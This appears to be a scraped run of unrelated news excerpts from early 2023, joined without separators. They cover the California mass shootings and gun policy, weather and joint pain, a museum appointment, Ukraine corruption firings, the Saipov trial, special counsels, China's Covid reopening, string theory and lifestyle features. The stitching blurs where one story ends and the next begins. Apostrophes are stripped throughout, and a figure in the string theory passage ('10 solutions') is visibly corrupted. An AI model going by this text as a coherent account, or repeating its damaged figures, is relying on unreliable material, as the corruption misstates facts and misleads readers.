Image A memorial for the victims of the Half Moon Bay shootings. Credit... Jim Wilson/The New York Times

Image A 66-year-old man was in custody after the shooting deaths of seven people on Monday, including four at a mushroom farm. Credit... Jim Wilson/The New York Times

Those tragedies, however, were only two in a series of mass shootings this month in a state that, overall, has some of the nations lowest mortality rates from gun violence, as well as some of its toughest gun laws. Last week, in an attack that the authorities compared to a drug cartel-style execution, six people were shot dead in rural Tulare County in Californias Central Valley, including a 16-year-old girl and her 10-month-old baby. On Monday night, one person was killed and seven people were wounded in a gun battle in Oakland.

On Tuesday, Gavin Newsom, the California governor, visited Half Moon Bay about 24 hours after trying to console injured victims in Monterey Park. Governor Newsom had been at a hospital when he learned of the Half Moon Bay shootings, he said.

I didnt want to be here, and I dont want to be here, Mr. Newsom said, pulling notes out of his pocket that he said contained the same talking points he used after mass shootings at a San Jose transit yard, a garlic festival in Gilroy and a cowboy-themed bar in Thousand Oaks.

I started writing Monterey Park. Now I have to write in Half Moon Bay. What the hell is going on here? he asked. Its said, and its said all the time: Only in America.

In Washington, there was renewed talk of pursuing new gun measures, including legislation introduced by Senator Dianne Feinstein, Democrat of California, to reimpose the assault rifle ban which expired nearly two decades ago.

But the mass shootings in California have once again underscored a political reality on Capitol Hill: Even after a series of massacres that have shaken the country, Congress is unlikely to muster a bipartisan consensus to enact any additional gun control measures.

Image In Southern California, investigators continued searching for a motive in the massacre on Saturday night at a ballroom dance hall in Monterey Park. Credit... Mark Abramson for The New York Times

Image A memorial inside Cascades Park in Monterey Park. Credit... Mark Abramson for The New York Times

President Biden said that he was working out a number of things that we can and are going to be doing to address gun violence in conjunction with leaders from California.

I am asking you all to send that to my desk as quickly as you can, Mr. Biden said, even though he knew the chances of it passing Congress were slim to none.

On Tuesday night, Speaker Kevin McCarthy told reporters that California, his home state, already had some of the strictest gun laws in the nation. And he said he would not commit to taking up any new gun laws until he had more information about the shootings in Half Moon Bay and Monterey Park, which he described as atypical because of the older age of the gunmen.

Californias rate of firearm mortality has been among the nations lowest, with 8.5 gun deaths per 100,000 people in 2020, compared with 13.7 per 100,000 nationally, the Centers for Disease Control and Prevention has reported. A recent Public Policy Institute of California analysis found that Californians are about 25 percent less likely to die in mass shootings, compared with residents of other states.

Those odds, however, were cold comfort on Tuesday as communities impacted by recent shootings sought answers.

In Half Moon Bay, a city of about 12,000 people that remains isolated enough to maintain a small-town vibe that has disappeared elsewhere in the San Francisco Bay Area, residents struggled to comprehend how the ongoing wave of violence reached their sliver of the Pacific Coast. Pancho Purica, 62, the owner of a convenience store selling tortillas, beer and spices, wondered aloud whether the world had become cuckoo.

Fatima Machado, who was working in the parish office of Our Lady of the Pillar, said the town seemed unusually empty, with almost no cars on the road. She thought people were staying home after the shock of the shooting.

Its just so surreal that this happened in our little town, Ms. Machado, 70, said. You see it on the news. Monterey Park, Oakland  but those are big places. Not Half Moon Bay.

Steve Wagstaffe, the district attorney in San Mateo County, which includes Half Moon Bay, said that the scope of the investigation posed a challenge even for a jurisdiction in the heart of Silicon Valley. Cases like this  weve never had one in this county, he said.

The sheriffs office was still working Tuesday to identify the victims and notify their families, a process that was complicated by the fact that some of the victims were migrants. All the victims were adults, and some lived at the location of one of the shootings along with children, Sheriff Christina Corpus said.

It was in the afternoon, when kids were out of school, she said. For children to witness this is unspeakable.

San Mateo County authorities said the suspect in the Half Moon Bay shootings, who is expected to be formally charged on Wednesday, had lived in the community and may have worked with some of the victims, and had legally purchased the semiautomatic handgun he used in the shooting.

There were no specific indicators in the criminal history of Mr. Zhao, the suspect, a spokesman for the sheriffs department added, that would have led us to believe he was capable of something like this.

Image Community members come to pay their respects at Star Ballroom Dance Studio in Monterey Park. Credit... Mark Abramson for The New York Times

Image In Monterey Park, the authorities released the names of those who were killed in the Saturday night shooting as families mourned the loss of beloved parents, grandparents, aunts, uncles, brothers and sisters. Credit... Mark Abramson for The New York Times

But in court documents filed in a 2013 request for a temporary restraining order, a roommate accused Mr. Zhao of threatening to split his head open with a knife and trying to suffocate him after a workplace dispute in which Mr. Zhou had quit a restaurant job and was unable to get it back.

In his application for the order, which a Santa Clara County judge granted, Jingjiu Wang wrote that Mr. Zhao had crept into his room at their shared San Jose apartment in March 2013 and demanded his paycheck. When Mr. Wang was unable to produce it, he said, Mr. Zhao said to me, today I am going to kill you, and then attacked him, trying to smother him with a pillow. Two days later, he said, Mr. Zhao warned him that bad things could happen and threatened to bury a kitchen knife in his skull if he did not help him get the restaurant job back.

In Los Angeles County, investigators said that, like the Half Moon Bay suspect, the gunman in Monterey Park had legally purchased the semiautomatic weapon with which the massacre was committed. According to two law enforcement officials briefed on the matter who requested anonymity because of the sensitivity of the investigation, Mr. Tran had bought his MAC-10, which was equipped with an extended capacity magazine, in the 1990s, before California began imposing a series of bans on such rapid-fire weapons.

Officials said they are still trying to determine if the gun had been altered in a way that would have made it illegal to possess at the time of the shooting. Detectives also have seized two other guns in the investigation: the handgun the police say Mr. Tran used to shoot himself as pursuing officers closed in on him Sunday after a regionwide manhunt and a rifle found at his home in a Hemet, Calif., trailer park.

In Southern California, the authorities released the names of the 11 people who were killed in the Saturday night shooting as families mourned the loss of beloved parents, grandparents, aunts, uncles, brothers and sisters.

The Los Angeles County coroners office, which has spelled the names of victims differently at various points this week, on Tuesday identified the six women as Diana Man Ling Tom, 70; Muoi Dai Ung, 67; My My Nhan, 65; Lilian Li, 63; Hongying Jian, 62; and Xiujuan Yu, 57. The five men were identified as Chia Ling Yau, 76; Ming Wei Ma, 72; Yu Lun Kao, 72; Valentino Marcos Alvero, 68; and Wen Tau Yu, 64.



New details emerged on Tuesday that were both heartbreaking and horrific.

Shortly after 10 p.m. on Saturday, Ms. Nhan, 65, and her dance partner that night, an older man, decided to leave the Lunar New Year celebration at Star Ballroom Dance Studio a little early.

Ms. Nhan was driving, and she was beginning to back up when she noticed a figure walking behind her vehicle. She stepped on the brake to allow the person to keep going. Within seconds, the interaction turned tragic.

In the quiet parking lot, the figure  later identified by the authorities as the gunman  walked up to the drivers side window and shot Ms. Nhan several times. Ms. Nhan, known as Mymy, was the first person fatally shot in the rampage. Her passenger managed to escape uninjured and recount Ms. Nhans last moments to her relatives.

Ms. Nhan gravitated toward any activity she considered part of a healthy lifestyle, like ballroom dancing  especially salsa and waltz, her niece, Fonda Quan, said, adding that Ms. Nhan had also been taking care of her mother, who died a little more than a month ago.

After grieving for weeks, she said, we were really looking forward to, you know, start that Lunar New Year fresh. And unfortunately, this happened.

Victoria Kim contributed reporting from Monterey Park, Tim Arango , Jill Cowan and Livia Albeck-Ripka from Los Angeles and Anabel Sosa and Irene Benedicto from Half Moon Bay. Reporting was also contributed by Edgar Sandoval , Peter Baker , Annie Karni , Ang Li and Muyi Xiao . Susan C. Beachy and Kitty Bennett contributed research.
Q: Why do old injuries hurt more when the weather changes?

There are plenty of reasons to dislike chilly, wet weather, including its potential effects on our bodies. People often complain that pain from old injuries, such as broken bones or sprains, and from chronic conditions like arthritis, flares up when its cold or raining. Hippocrates made similar grumbles some 2,500 years ago.

Its certainly something that I have observed in my own patients, Dr. Jennifer Moriatis Wolf, a professor of orthopedic surgery and rehabilitation at the University of Chicago Medicine, said. Patients say, I can tell when its going to rain. I can tell when its going to snow.

While doctors agree that such complaints are common, the reasons behind the phenomenon remain unclear. Little research has been conducted on the issue, and some of the studies that do exist have led to confusing and contradictory conclusions. Other studies, however, seem to suggest that changes in the weather can induce swelling and affect how nerves surrounding injured or inflamed tissues communicate with the brain. This brings back or amps up feelings of pain.

Is there actually a link between the weather and pain?

It depends on whom you ask. One study, published in 2016, investigated the link between the weather and pain associated with broken bones. Researchers examined data from 2,369 doctor visits after patients suffered bone fractures. At follow-up appointments, the researchers asked patients how much pain they were experiencing and recorded local weather data for that day, including temperature, atmospheric pressure and humidity. Patients reported more pain at their one-year follow-ups if the atmospheric pressure  which often drops right before storms and cold fronts  was low and if the relative humidity was above 70 percent on their appointment days. But the study did not find that low temperature worsened pain  instead, surprisingly, patients reported more pain when the temperature outside was above 35 degrees.
The Baltimore Museum of Art announced Tuesday that Asma Naeem, its chief curator since 2018 and interim co-director, will become director effective Feb. 1.

Born in Karachi, Pakistan, and raised in Baltimore, Naeem practiced law for almost 15 years before switching careers and finishing her Ph.D. in American art. She becomes the first person of color to lead the museum, founded in 1914, and will oversee its collection of more than 97,000 objects and an annual operating budget of $23 million.

Naeem, 53, has been interim co-director of the museum since Christopher Bedford, the former director, left last June for the top post at the San Francisco Museum of Modern Art. Naeem had a central role in shaping and implementing the Baltimore Museums strategic plan, adopted in 2018, that placed social equity alongside artistic excellence as a core principle guiding the museums mission. Since then, the B.M.A., as it is known locally, has been at the forefront of efforts to acquire and exhibit work by underrepresented artists and to diversify its staff, board and audiences  issues being addressed by museums nationwide to varying degrees.

We were most impressed with how Asma has been part of the work and with her vision for the institution, in terms of how to build on this work and take us to that next level, said James D. Thornton, chairman of the museums board, which promoted Naeem after a 10-month national search.
CHILDREN OF THE STATE: Stories of Survival and Hope in the Juvenile Justice System, by Jeff Hobbs

In a classroom within a juvenile jail, where kids await sentencing, a teacher is trying to get her disengaged students to write an essay. Always be asking yourself, she says, Why is this story important to me? Why is it important to the reader? What did I learn?

The writer Jeff Hobbs is here, at the San Francisco Learning Center, to research Children of the State. Some of the kids he meets will not live through the year; others will likely spend their lives incarcerated.

In the course of writing the book, Hobbs also paid regular visits to Ferris, Delawares only juvenile jail, and to Exalt Youth, a New York City program for kids just out of the system. His intention was to tell the story of a year in each program, focusing on a few children and teachers. His project began in August 2019; we all know what happened in March 2020. Hobbss frustration is clear as, mid-reporting, we see him lose on-site access and, as such, the ability to communicate with most of his subjects. Covid lockdowns, though, do not account for the principal problem with this book.

This kind of nonfiction relies on earning the privilege of entry into peoples lives and observing them closely and deeply; Hobbs excels at both. Describing environments and scenes, he is fluent and precise, with an eye for rich detail. Even better is his portrayal of the internal experiences of his subjects, showing the reader their coping mechanisms, loneliness and depression. Hobbss prepandemic access is formidable, as is his ability to reconstruct those scenes that occurred after in-person reporting became impossible.
A corruption scandal in Ukraine

Several top Ukrainian officials were fired yesterday amid a ballooning corruption scandal, in the biggest upheaval in President Volodymyr Zelenskys government since the Russian invasion began.

There was no sign that the scandal involved the misappropriation of Western military assistance, which is essential for Ukraines continued survival. But even a whiff of malfeasance could slow aid. The move suggested an effort by Zelensky to clean house and reassure allies that his government would show zero tolerance for graft.

The firings followed a number of allegations of corruption  including reports that Ukraines military had agreed to pay inflated prices for food meant for its troops  and general bad behavior. But Ukraines cabinet ministry, which announced the firings on Telegram, provided no details about specific reasons.

Zelensky said he hoped that punishment would be taken as a signal to all those whose actions or behavior violate the principle of justice, and added: There will be no return to what used to be in the past.
Rupert Murdoch has halted his plans to combine the two parts of his media empire.

News Corp, one of Mr. Murdochs media companies, said in a statement on Tuesday that he had determined that combining it and the Fox Corporation was not optimal for shareholders of News Corp and Fox at this time.

The boards of both media companies disclosed in October that Mr. Murdoch had proposed reuniting the two companies, nearly 10 years after they split up.

Both Fox and News Corp established independent committees of their boards to evaluate a possible deal. But the prospect faced significant investor pushback.

The deal, if it had gone through, would have put a collection of news and entertainment assets including Fox News, The Wall Street Journal, the Fox broadcasting network and TMZ under the same corporate umbrella. When it was initially proposed, Mr. Murdoch was said to be interested in the potential for cost savings and the possibility of integrating some of the companies.
There was a lot of talk about deforestation and biodiversity at the World Economic Forum in Davos, Switzerland, last week. One of the leaders at the gathering with huge responsibility in that area, and a huge task ahead of her, was Marina Silva, Brazils new environment minister.

This week, I want to introduce you to Silva, 64, because of the enormous importance of her job.

Shes served as environment minister before, from 2003 to 2008, and put in place policies and protections that ultimately reduced the rate of deforestation by 80 percent. Now, back in office under Brazils new president, Luiz Inacio Lula da Silva, theres enormous hope that she can repeat that feat.

Born in the Amazon to a family of rubber tappers, Silva, who is generally known in Brazil by her given name, was directly affected by many of the problems that plague people in the forest. Loved ones died of malaria after a new road brought deforestation and diseases to the her area. There were few basic services available, so she only learned how to read when she was 16. Her mentor, the environmentalist and trade union leader Chico Mendes, was murdered for his activism.

Silvas first run as minister ended when she quit after facing what she called resistance from important political interests. For years, she distanced herself from Lula and only recently opted to support him again.
When Ms. Guimaraes stood before the judge to make the case for a therapy with a huge cost, she argued that it would save the government money compared with other drugs Levi would need to take for life and with the cost of all the care he would need without it.

Lorenzo receives three kinds of therapy every day. He watches cartoons while a physiotherapist makes a twice-daily visit to pummel on his chest and suction the secretions that would otherwise suffocate him. He communicates with Ms. Da Silva through a breathy whisper and by blinking and squinching the cheek he can still move. While this happens, Levi clambers over Lorenzos inert legs, singing along with the television and imperiously giving orders for things such as Popsicles and cookies to the health aide, one of three who take shifts to stand by Lorenzos bed 24 hours a day.

While Levi has not met all of the normal developmental milestones of a child his age, he is mobile and talkative. He has daily occupational and physical therapy and continues to progress in physical development.

When Ms. Guimaraes won a favorable judgment in Levis court battle, the federal government had to set aside the money to purchase Zolgensma. Ms. Da Silva dashed to the bank to get the money sent by wire transfer to a Novartis account in Ireland, triggering the shipment of the medication. She and her husband rushed to Sao Paulo with Levi to be on standby at a hospital willing to do the infusion. He received the tiny vial of 47.8 milliliters of Zolgensma at 16 months old.

Every time she sees her two boys together, Ms. Da Silva is reminded of the stunning power of Zolgensma. Her happiest moments, she said, come when shes with Levi and he reaches up, pushes on her cheeks to get her attention and demands, Mamae, Mamae like any other toddler.
The case of Sayfullo Saipov, an Uzbek immigrant who has been charged with driving a truck onto a Manhattan bike path and killing eight people on Halloween Day in 2017, is likely to go to the jury on Wednesday.

The attack was the deadliest in New York City since Sept. 11, 2001, the authorities have said. Mr. Saipov is the first person to face a death penalty trial during the Biden administration, though President Biden campaigned against capital punishment.

In closing arguments on Tuesday, Jason A. Richman, a federal prosecutor, described how Mr. Saipov turned a bike path into his battlefield, leaving behind mangled cycles, truck parts and bodies. Mr. Richman argued that Mr. Saipov carried out the attack to become a member of the Islamic State, a terrorist group that once controlled large swaths of Iraq and Syria and promised to create a new caliphate for Muslims.

The government presented often emotional testimony from survivors of the attacks and relatives of those who were killed during the trial, which began on Jan. 9. Six of the eight people who died were foreign tourists: five from Argentina and one from Belgium.
I am an American Special Forces soldier, a volunteer knowing well the hazards of this profession in which Ive served quietly for 14 years.

And I helped build Vladimir Putins foreign legion.

Green Berets  the Horse Soldiers who toppled the Taliban in 2001  are not Army Rangers or Navy SEALs. We specialize in training and fighting alongside indigenous forces, and our greatest strength is the trust and camaraderie we develop with our counterparts. For years, the Green Berets and the commandos of the Afghan National Army were a bulwark against the Taliban. It was a partnership forged at immense cost in American and Afghan lives.

Since the precipitous departure from Afghanistan in 2021, and in the absence of meaningful government support to the nonprofit organizations that have worked to aid our former allies, many of those highly trained commandos have accepted recruitment offers to fight with the Russian Army in Ukraine. For the 20,000 to 30,000 men who we trained, a steady salary and the promise of shelter from the Taliban is often too good of a deal to pass up  even if the cost is returning to combat.

As the new Congress prepares to investigate the withdrawal and how it went so disastrously wrong, it should examine not only the lead-up to those dramatic days in August 2021 when the Taliban swept into Kabul, but also what happened  and is currently happening  in the wake of their victory. How those who safeguarded American troops are actively hunted. How theyve suffered under the Taliban. How our government turned a blind eye. How Afghans were forced to pay nearly $600 per person to apply for humanitarian parole, while Ukrainians had the fee waived.
Nathaniel Lash and

April 11, 2023: This essay has been updated to reflect news developments.

Once again the United States is seared by screams, shots, blood and sirens, followed by politicians calls for thoughts and prayers. At least five people were killed and eight others were injured in a shooting at a bank in downtown Louisville, Ky., on Monday morning, police said. It leaves Americans asking once again: What can be done to break the political stalemate on gun policy so that we can save lives?

This essay originally was published in January after two mass shootings in California claimed 18 lives. But the issue remains tragically relevant, and it will continue to be until America adopts smarter policies for firearms. This toll from our guns  by our inaction, we make it our choice.

For decades, weve treated gun violence as a battle to be won rather than a problem to be solved  and this has gotten us worse than nowhere. In 2021 a record 48,000 Americans were killed by firearms, including suicides, homicides and accidents. So lets try to bypass the culture wars and try a harm-reduction model familiar from public health efforts to reduce deaths from other dangerous products such as cars and cigarettes.

Harm reduction for guns would start by acknowledging the blunt reality that were not going to eliminate guns any more than we have eliminated vehicles or tobacco, not in a country that already has more guns than people. We are destined to live in a sea of guns. And just as some kids will always sneak cigarettes or people will inevitably drive drunk, some criminals will get firearms  but one lesson learned is that if we cant eliminate a dangerous product, we can reduce the toll by regulating who gets access to it.
Are we too complacent, too afraid to rise up, to hold them all accountable, and demand that this terror be stopped? The people who have been killed and wounded in these incidents are our mothers, fathers, brothers, sisters, daughters, sons, grandparents, grandchildren, neighbors, co-workers and friends. Are we so spineless, so impotent, so cowardly that we are unable or unwilling to stand up for them, for their memories, for the sake of those who are still among us?

If there were any reason to take to the streets, to demand change, to hold politicians accountable, it is most certainly this. The kids from Marjory Stoneman Douglas High School in Parkland, Fla., pointed the way; we marched, and then we apparently dropped the ball. Your presumed right to carry does not trump my right to safety  and no, I do not feel safe because youre carrying a weapon.

We need protection from one another, and the only way to do that is to get rid of the damn guns!

(Rev.) Douglas A. Greenaway

Taormina, Sicily

To the Editor:

Two more mass shootings, more lives destroyed, and we are back to asking why. We can look into every possible reason for any one of us to go crazy, get a gun and shoot. We can look into grievances, mental health and whatever else can cause one of the 300-plus million of us to do such an act  or we can just make guns harder to get.

I dont know, but the latter seems easier and more likely to succeed.

George Loisos

Alameda, Calif.

To the Editor:

Trying to predict and prevent future mass killings by discovering the supposed motivation of past killers is a fools errand. They are almost always based on mental health issues or hatreds and grievances.
Apparently, sometime in 2018, Meg and Kate were at an event together, and Meg forgot her gloss. Thinking  as a girl raised in 1990s California might  that her soon-to-be sister-in-law would be happy to give her some, Meghan asked if she could borrow a tube, to which Kate reluctantly agreed. As Prince Harry describes it, in a passage from his tell-all memoir, Spare, Meg squeezed some onto her finger and applied it to her lips. Kate grimaced.

This, according to the Duke of Sussex, was an American thing. According to my quick and unscientific survey of American women (and one Canadian) around Meghans age, it seems hes right.

Katie, from Colorado, had a communal pot of gloss she shared with her two best friends  it was nicknamed Ten Times Hotter because it made them look  well, you get it. Sarah, from Ontario, remembers carefully selecting a Lip Smacker flavor (watermelon) from a variety pack a friend got for her birthday; only the best friends got one, and it would forevermore be known as her signature scent. Nell, from New York, didnt wear the stuff herself but can still name the cool hot girls  specifically, Hannah and Camelia  who came to school with sandwich baggies full of glosses, sharing and swapping among their inner circle.

I used vanilla lip gloss that was in a big tub, and I genuinely think it raised my social status, one 40-something friend told me. It was a more important feature of my burgeoning womanhood than when I got my first period.

Lip gloss was more than makeup; it was a tool for discerning your place in the social hierarchy. Girls youd share your lip gloss with: those were your ride-or-dies. (Although there were crucial subtleties: tube directly to mouth  reserved for close friends; tube squeezed onto finger onto mouth  for OK-ish friends or for when you had a cold.) Girls you wished you shared lip gloss with: These were popular girls or girls you had crushes on. (Getting to try a popular girls Lip Venom was the ultimate form of flirting, one colleague said, a social high that could be ridden for at least a week.)
According to Justice Department regulations, a special counsel has independent authority to exercise all investigative and prosecutorial functions of the department and is not subject to the day-to-day supervision of any department official, including Mr. Garland. Mr. Garland can alter a decision by a special counsel only if it is so inappropriate or unwarranted under established departmental practices that it should not be pursued  a high bar. A special counsels formal independence is supposed to ameliorate any appearance of bias or self-dealing in the departments ultimate decisions.

But the highly unusual situation of two special counsels investigating a president and a former president for superficially similar matters raises a novel challenge for the Justice Department: how to persuade the country that it acts fairly and consistently in the two cases. As we learned during the controversy about Hillary Clintons email server, a prosecutorial decision related to misuse of classified information can turn on fine-grained and often-contested judgments about how and why classified documents are transmitted to where they should not be, and with what intent.

Over the years, it has not been obvious whether the Justice Department treated like cases alike in the sanctions it doled out against senior government officials  Mrs. Clinton, the former attorney general Alberto Gonzales, the former C.I.A. director David Petraeus  who mishandled classified information. Nor has the department made clear the extent to which these officials received lenient treatment because of their elevated status or the context in which they were investigated, especially compared with cases like that of Reality Winner, a former National Security Agency contractor who anonymously sent a classified report to The Intercept, and Daniel Hale, a former intelligence contractor who disclosed classified details of the American drone warfare program to a reporter.

Even if the Trump and Biden investigations turn out to be factually and legally quite different, as it seems they might, the dual special counsel structure will make it hard for the department to portray its decisions as principled. Normally in such prominent side-by-side investigations, an official reporting to the attorney general would ensure that the same legal and discretionary judgments informed decision-making in the two cases. But these decisions are now delegated to the special counsels Jack Smith and Robert Hur, who do not have the incentives or even the mechanism to coordinate their decision making.

Mr. Hur and Mr. Smith will take many public steps along their investigative paths, including a final decision about the presence of any potential criminality and what, if anything, to do about it. These decisions will invariably raise questions about disparate treatment. Yet neither special counsel will be in a position to explain how his decisions are consistent with the others. Nor can the attorney general obviously do so, since the key decisions are formally out of his control so long as they stay within broad department guidelines. If Mr. Garland does end up defending the coherence of the decisions, some might question the degree to which the special counsels were actually independent.
China rolled back its longstanding pandemic strategy zero Covid, which had protected the country for nearly three years, in early December. This reversal came after historic public protests calling for an ease in restrictions but amid concern that there was not enough immunity to adequately protect the population.

The timing could not have been worse. A few weeks into a post-zero-Covid reality, the nations largest annual migration for the Lunar New Year, which ends in February, has begun. After years of restrictions, travel for 2023 is anticipated to be enormous as urban employees travel home to celebrate with family and friends. The combination of densely packed public transit systems, winter conditions and multigenerational gatherings is so ideal for the study of disease transmission that the Lunar New Year is a common tabletop simulation for training public health officials. This year well actually see any fallout.

The challenge will be made harder by the arrival of the coronaviruss most infectious subvariant to date, XBB1.5. In the United States, which has high vaccination rates using highly protective vaccines, XBB1.5 accounts for nearly half of all Covid cases. If the U.S. experience is any indication, XBB1.5 could be devastating if it spreads widely in China. Domestically made Chinese vaccines  Beijing has so far refused to import American mRNA vaccines  may provide less lasting protection against the virus and its variants. This is something the world will watch unfold in the weeks ahead.

What can the United States do, presuming our government is motivated to do anything? Given Beijings threats to Taiwan, its oppression of Uighurs and efforts to block the investigation into the origins of the coronavirus, Congress may be inclined to take a hard line on China or not do anything for the Chinese government at all. And the newly seated Congress is even more hawkish.
As Britt Whitfield and Jacqui Scott began looking for their next home in Chicago, they prioritized one thing above all else: The ability to throw a party was No. 1, Ms. Whitfield said.

And when Ms. Whitfield, 43, says a party, she doesnt mean a cozy gathering with a few friends. As the chief executive of the Revel Group, a Chicago-based events company, she spends her days overseeing blowout functions with thousands of guests. While her personal gatherings are more intimate, she still enjoys throwing bashes for big groups of friends and colleagues.

The couple had renovated or built five previous homes in Chicago, moving every couple of years. But now they were looking for a place to stay put. So in addition to serving as a party venue, the house needed to be a family home, where their two children  Cal, now 7, and Paton, 5  would be comfortable growing up.
In a letter addressed to UN Secretary-General Antonio Guterres, Azerbaijans Permanent Representative to the UN Yashar Aliyev talked about the countrys efforts to determine the fate of several thousands of its citizens, who went missing during the Armenian aggression in the early 1990s, Azernews reports.

The letter disclosed that as a result of the Armenian aggression, 3,890 Azerbaijani citizens had gone missing, 719 of whom were civilians, including 71 children, 267 women, and 326 elderly. Besides, it was mentioned that 872 people (605 military personnel and 267 civilians, including 29 children, 98 women, and 112 elderly) were taken hostage. The letter pointed out that nothing is known about their fates, adding that there are dozens of facts about the killing of Azerbaijani prisoners of war in Armenian captivity.

"At the end of 2020, evidence of Armenia's gross and systematic violation of international law was found in Azerbaijans liberated territories. From February 2021 to November 2022, the remains of approximately 118 people were found in mass graves in those areas. The human remains demonstrate the deliberate killing of Azerbaijani civilians and other people under international humanitarian law. A mass grave unveiled in a mountain cave near Kalbajar Districts Bashlybel village proved that the Armenian armed forces had opened fire on villagers, who had taken refuge in the cave, killing at least 12 people, including two children and five elderly, the letter underscored.

The letter underlined that another piece of evidence of this violence is the mass grave discovered in Khojavand's Edilli, where the remains of dozens of Azerbaijanis were found with their hands and feet tied. It was noted that more human remains of women and children were discovered in a mass grave in Khojaly Districts Farrukh settlement and other liberated lands.

Aliyev highlighted that Armenia has refused to provide any information about the persons, who went missing during the nearly 30-year-long occupation. He informed the public that only in 2022 Armenia handed over 67 sacks with the mixed remains of 106 people to Azerbaijan.

The fact that Armenia has kept these remains for thirty years, contrary to all moral principles, violating international humanitarian law and openly ignoring the right of people to know the fate of their loved ones, causes deep indignation, the official said.

Further, the diplomat stressed that up until now, Armenia evades providing information on mass graves in Azerbaijans liberated territories, noting that the countrys search operations are also hindered by a serious mine threat due to Armenia's refusal to provide complete and accurate maps of hundreds of thousands of mines planted in the territory during the occupation.

Aliyev also recalled that the General Assembly and the Security Council adopted a series of resolutions on missing persons, reiterating the obligations of states to prevent violence and account for the fate of missing persons under international humanitarian law.

"These obligations should be urgent measures in protecting the rights of victims and their families," he noted.

In conclusion, the diplomat strongly emphasized the importance for the international community to insist that Armenia fulfills its obligations on this issue.

Over 4,000 Azerbaijanis went missing as a result of the first Karabakh war. It is believed that the vast majority of them were systematically killed and buried in mass graves.
Among the many features of string theory is that the equations seem to have 10 solutions  describing 10 different possible universes or even more. Do we live in a multiverse?

Turner: I think we have to deal with it, even though it sounds crazy. And the multiverse gives me a headache; not being testable, at least not yet, it isnt science. But it may be the most important idea of our time. Its one of the things on the table. Headache or not, we have to deal with it. It needs to go up or out; either its part of science or it isnt part of science.

Why is it considered a triumph that the standard model of cosmology doesnt say what 95 percent of the universe is? Only 5 percent of it is atomic material like stars and people; 25 percent is some other dark matter, and about 70 percent is something even weirder  Mike has named it dark energy  that is causing the universe to expand at an accelerating rate.

Turner: Thats a big success, yeah. Weve named all the major components.

But you dont know what most of them are.

Spiropulu: We get stalled when we reach very deep. And at some point we need to change gear  change the question or the methodology. At the end of the day, understanding the physics of the universe is not a walk in the park. More questions go unanswered than are answered.
Mercedes Jimenez-Cortes often takes pictures of herself in the domed mirrors that hang in parking garages. The mirrors turn an everyday scene surreal, bending concrete like its jelly and exaggerating the size of Ms. Jimenez-Cortess face, her iPhone or her extended middle finger.

Ms. Jimenez-Cortes, 24, who works for Instacart and lives in Atlanta, liked the look of the mirrors so much that she recently purchased one for her apartment. The stylishly named PLX18 Circular Acrylic Indoor Convex Security mirror cost $37 on Amazon and came equipped with a swivel mounting bracket to extend its range of visibility in loading docks and driveways. Ms. Jimenez-Cortes hung the mirror near a disco ball in her living room, where her cat, Pixie, uses it to gaze at his own contorted reflection.

It looks funny, Ms. Jimenez-Cortes said. But it looks funny on purpose.

So goes Gen Zs latest approach to the self-portrait. The #NoFilter selfie is out, and obvious, goofy distortion is in. Theres the 0.5 ultra-wide-angle lens for extreme forced perspective, the A.I. portrait generator for rendering you like a painting, and the lo-fi digital camera for a grainy, nostalgic quality. Some young people in search of these effects are also turning to an item better known for capturing interstates than influencers: the traffic mirror.
Before my trip, Id spoken to Alan ONeill, the former superintendent of Lake Mead National Recreation Area, who told me, This landscape talks to you when you get close to it. The giant boulders stuck out like warts among the prickly barrel cactuses and the sun-haloed cholla plants. It was hard to believe Las Vegas was just an hour up the road.

The 500 miles of backcountry roads that encircle Avi Kwa Ame are mostly old transmission line maintenance routes, accessible to anyone with a four-wheel-drive vehicle. If you were to camp here (which the areas overseer, the Bureau of Land Management, allows), you would have entire canyons to yourself. You would also get a sense of why Indigenous groups have fought for decades to safeguard this area.

Conservation efforts began in 1999, when a 33,000-acre portion of Avi Kwa Ame was listed on the National Register of Historical Places. (In that application, tribal elders referred to the mountain as the place where shamans dream.) Large swaths of the desert were later classified as Areas of Critical Environmental Concern to protect the endangered desert tortoise. While these were important steps, they failed to account for the cultural worth of the entire valley  not just the mountain itself. As one tribal leader told Mr. ONeill in the late 1990s: You cant separate the two.

Now it is hoped that a proposed 450,000-acre Avi Kwa Ame National Monument will connect this area to a wide corridor of parks and monuments that stretches from California all the way to the Colorado Plateau. Such protection would ensure the spiritual site is not tampered with and give travelers interested in Native American culture a new reason to venture beyond the Strip.
As Californians were dealing with a mass shooting in Monterey Park, the White House on Monday said it was renewing a push for sweeping gun control measures in the Senate that would renew the assault weapons ban that expired in 2004.

Communities across America have been struck by tragedy after tragedy, including mass shootings from Colorado Springs to Monterey Park, President Biden said in a statement.

Just moments later, a gunman killed seven people in Half Moon Bay, Calif.

The 1994 ban, which passed as part of a broader crime bill championed by Mr. Biden, then a senator, blocked the sale of 19 specific weapons that have the features of guns used by the military, including semiautomatic rifles and certain types of shotguns and handguns. It also outlawed magazines that can hold more than 10 rounds of ammunition. People who already had such weapons were allowed to keep them.

Mass-shooting fatalities were dramatically less likely to occur in the United States during the decade the ban was in effect, a 2019 study by researchers at New York University Grossman School of Medicine showed.
Gov. Gavin Newsom said on Twitter on Monday that he had been at a hospital, meeting victims of the mass shooting in Monterey Park, when he was pulled away to be briefed about another shooting.

Tragedy upon tragedy, he said.

Ive been a reporter in California for a decade, and Ive covered a half-dozen mass shootings here. These are horrific incidents that leave behind loved ones who struggle, long after reporters and the public have moved on, to adjust to lives that have been reshaped by tragedy. Lives without their parents, their friends, their partners, their children.

Some of the deadliest shootings in our state have taken place in recent years  a 2015 terrorist attack in San Bernardino that killed 14, a mass shooting at a bar in Thousand Oaks in 2018 that left 12 dead and another at a rail yard in San Jose in 2021 that killed nine. By my count, the Monterey Park shooting is the fourth deadliest in California history.

Its true that California has a lower firearm mortality rate than most states in the nation and that people who live here are about 25 percent less likely to die in mass shootings, compared with those who live elsewhere in the nation.

But in these moments, those numbers feel like poor consolation for families and communities grieving such senseless loss.
HALF MOON BAY, Calif.  A gunman killed seven people at two locations in Half Moon Bay, Calif., on Monday, shaking a state that was still mourning another mass shooting less than 48 hours before.

The police arrested Zhao Chunli, 66, of Half Moon Bay, in connection with the shootings after he was found in his car in the parking lot of a San Mateo County Sheriffs Office substation in the town, officials said. They added that there was no continuing threat to the community.

The suspect was taken into custody without incident and was fully cooperating, Sheriff Christina Corpus said. When an officer first spotted the car at the substation, the suspect was unwilling to get out, she said at a news conference, and there was some difficulty in communicating with him because he spoke only Mandarin Chinese. But officers eventually lured him out of the vehicle and arrested him.

